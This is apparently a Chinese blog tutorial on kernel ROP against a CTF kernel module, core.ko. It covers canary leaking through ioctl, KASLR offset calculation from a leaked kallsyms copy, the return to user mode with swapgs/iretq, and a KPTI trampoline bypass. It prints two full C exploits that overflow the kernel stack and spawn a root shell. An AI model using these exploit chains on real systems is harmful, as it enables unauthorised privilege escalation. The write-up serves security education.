Kernel ROP - 返回用户态

系列 - Digging into Kernel

已经开始折磨自己了吗?

也是 ROP, 但是在 kernel space. 需要 kernel 中的 gadget, 构造 commit_creds(prepare_kernel_cred(NULL)), 然后返回用户态起 shell. 此时由于进程的 eUID = 0, 子进程的 eUID 也为 0, 达到提权的效果.

kernel 的符号地址在 /proc/kallsyms 中有保存, root 权限可以查看. 在本地调试时可以用 root 获取 commit_credsprepare_kernel_cred 的地址.

有些题有 KASLR, 可以用这个方法来获取没有偏移时的地址, 之后获取到开了 KASLR 的某个符号的地址, 就可以计算偏移了.

由于 ROP 直接覆盖掉了返回地址, 所以就需要手动去返回用户态了.

iretq 是 x64 的中断返回指令. 当发生中断 (系统调用除外) 陷入内核时, 会发生这些事:

  1. 切换到内核栈. kernel 在 任务状态段Task State Segment (TSS) 这个数据结构上保存了内核栈段起始地址 (ss0) 和 内核栈顶指针 (rsp0).
  2. 接着在内核栈上压入用户空间的 ss, rsp, rflags, cs, rip.
  3. 之后将用户态的通用寄存器值保存起来, 通用寄存器赋值为 0, 保存用户态 gs 寄存器的值并设置内核的 gs .gs 寄存器在内核态时指向一个进程在内核中相关的数据结构, 其中就包含有 kernel stack canary.

返回用户态时, 发生的事情就反了过来:

  1. 恢复通用寄存器的值
  2. 使用 swapgs 指令恢复用户态 gs 的值
  3. 使用 iretq 指令, 内核将栈上用户态 rip, cs, rflags, rsp, ss 恢复

所以, 我们只需要 swapgsiretq, 就能够回到用户态. 寄存器的值是否恢复对我们的利用来说并不重要, 不恢复也是可以的.

根据 iretq 的功能, 需要伪造内核栈在执行这条指令时如下:

u u u u s s r s s e e f e e r r l r r a g s s s c i s p s p r s p
注意
系统调用陷入内核的时候采取不一样策略, syscall 指令并不会保存用户态 rsp, 而是陷入内核后由内核态中的代码来保存. sysretq 指令与其相适应, 用它来返回用户态并不会修改 rsp. 将 rsp 设置为用户态的工作同样由内核代码在 sysretq 之前完成. 所以 sysretqiretq 相比没那么方便, 所以不妨就使用 iretq.

查看 qemu 启动脚本:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

可以看到开启了 kaslr. 内存分配的是 64M, 跑不起来, 需要调大一点.

首先解压 core.cpio, 查看 init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到, 把 /proc/kallsyms copy 到了 /tmp/kallsyms, 然后禁用了查看 /proc/kallsyms 和 kernel 调试信息 dmesg 命令. 接着加载了一个 module core.ko, 设置关机时间 120s, 设置 uid, gid, 启动 /bin/sh.

虽然禁用了查看 /proc/kallsyms, 但是它已经被拷贝到 /tmp/kallsyms 了, 普通用户也可以直接读取. 所以这里开启的 kaslr 和没有一样.

可以把关机时间给注释掉, 重新打包一下. 题目和贴心给了打包的脚本 gen_cpio.sh, 直接用就行.

逆向一下 core.ko. 有 canary. 只注册了 ioctl, write, release. ioctl 里写了一个 core_read, core_copy_func 函数, 并且支持修改一个全局变量 off. init_module 函数创建了一个进程节点文件 /proc/core.

存在漏洞的地方是 off 可以用 ioctl 修改, 然后 core_read 可以泄漏 canary. core_copy_func 中存在栈溢出.

最最开始, 由于 iretq 需要 ss, rsp, rflags, cs, 可以通过嵌入汇编的方式给保存下来. 栈顶其实非常随意, 不一定要最后陷入内核时的 rsp, 只要能用就行. 不过某些函数会需要栈对齐, 所以返回内核态后的 rsp 最好也对齐.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

读取 commit_credsperpare_kernel_cred 的地址, 并通过减去没有 kaslr 时的地址计算出偏移.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    while (!commit_creds || !prepare_kernel_cred) {
        size_t addr = 0;
        char t[2] = {0}, name[128] = {0};
        fscanf(kallsyms, "%lx%s%s", &addr, t, name);
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

接着利用 ioctl 修改全局变量 off, core_read 泄漏 canary:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

最后构造 ROP 链. 其中的 gadget 需要从内核进程 vmlinux 中寻找. 由于需要将 prepare_kernel_cred(NULL) 的返回值传参, 所以还需要一个 mov rdi, rax 的 gadget. 可以从内核中找到一个这样的 gadget: mov rdi, rax; jmp rdx. 只需要设置一下 rdx 便可以控制执行流.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_rdi_rax_jmp_rdx  = off + 0xffffffff8106a6d2;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;
    size_t swapgs_popfq_ret     = off + 0xffffffff81a012da;
    size_t iretq                = off + 0xffffffff81050ac2;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;  // canary 对齐了栈, 这里是 padding, 随便填啥都行
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_popfq_ret;
    rop[cur++] = 0;
    rop[cur++] = iretq;
    rop[cur++] = (size_t) getRootShell;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

将内核栈上的 user rip 写成了 getRootShell 这个函数的地址, 该函数用于起一个 shell, 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

完整 exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

int fd;

size_t commit_creds, prepare_kernel_cred, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_rdi_rax_jmp_rdx  = off + 0xffffffff8106a6d2;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;
    size_t swapgs_popfq_ret     = off + 0xffffffff81a012da;
    size_t iretq                = off + 0xffffffff81050ac2;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_popfq_ret;
    rop[cur++] = 0;
    rop[cur++] = iretq;
    rop[cur++] = (size_t) getRootShell;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

关于打远程. 如果环境有 gcc 的话, 可以将代码发送过去编译, 如果没有的话, 可以在本地静态链接编译一份, 发送 elf 文件过去. 发送一般用 base64 编码, 然后 echo 输入到文件, 最后远程再解码文件.

在不开 KPTI 的情况下, 每个进程的页表用时有 kernel space 和 user space 的映射, 但是处于用户态时没有权限访问 kernel space. 陷入内核后不需要切换页表和刷新 TLB, 可以避免很大的开销. 不过在 Intel 的 CPU 上, 存在可以侧信道攻击的硬件漏洞 (在 “用户态” 访问内核态?) 于是产生了这种缓解措施: 内核页表隔离KPTI.

KPTI 的想法也很简单, bug 无法避免, 那就让 bug 不能被利用. 每个进程维护两个页表, 一个是用户态使用的, 另一个是内核态使用的. 用户态使用的页表不再包含 kernel space 的所有映射, 仅仅包含如用于处理系统调用等必要的部分. 而内核态使用的页表则包含所有 kernel space 的映射, 以及所有 user space 的映射 (要 copy from, copy to). 既然内核态用了另一张页表, 那么显然给 user space 读写权限就够了, 所以即使是代码段 (对应的页), 在内核态的这张表中, 也没有可执行权限.

现在陷入内核和返回用户态, 由于页表不同, 必须涉及到切换页表. 顶级页表的物理地址被保存在 cr3 这个寄存器中. 值得一提的是, 一个进程的用户态顶级页表和内核态顶级页表放在连续的地址上, 内核态页表在低地址, 用户态页表在高地址, 并且这 8k 页面对齐到 0x2000. 下图地址用二进制来表示, 末尾均是 12 个 0.

P P G G D D K U e s r e n r e l x x x x x x x x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

这样, 在同一个进程进行上下文切换的时候, cr3 只需要改变第 12 位即可.

内核代码提供了这两种切换, 其中我们感兴趣的是从内核态返回用户态的部分. 内核中有一个函数 swapgs_restore_regs_and_return_to_usermode 帮我们做了所有的事情. 从 swapgs_restore_regs_and_return_to_usermode + 22 这里开始, 忽略栈的操作 (这些操作不会影响布置的 ROP), 流程如下:

1
2
3
4
5
6
7
mov         rdi, cr3
or          rdi, 0x1000
mov         cr3, rdi
pop         rax
pop         rdi
swapgs
iretq

所以只要跳到 swapgs_restore_regs_and_return_to_usermode + 22 的地方, 然后栈上布置 dummy rax, dummy rdi, iretq 的 cs, rflags, rsp, ss 即可返回用户态.

还是用 core 那题, 在 qemu 启动脚本里的 --append 中加上 kpti=1 即可开启 KPTI (不过好像这个内核就没 KPTI? 启动了个寂寞…)

exp 如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

int fd;

size_t commit_creds, prepare_kernel_cred, swapgs_restore_regs_and_return_to_usermode, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
        if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
            swapgs_restore_regs_and_return_to_usermode = addr;
            printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
            swapgs_restore_regs_and_return_to_usermode += 22;
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_rdi_rax_jmp_rdx  = off + 0xffffffff8106a6d2;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
    rop[cur++] = 0;
    rop[cur++] = 0;
    rop[cur++] = (size_t) getRootShell;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}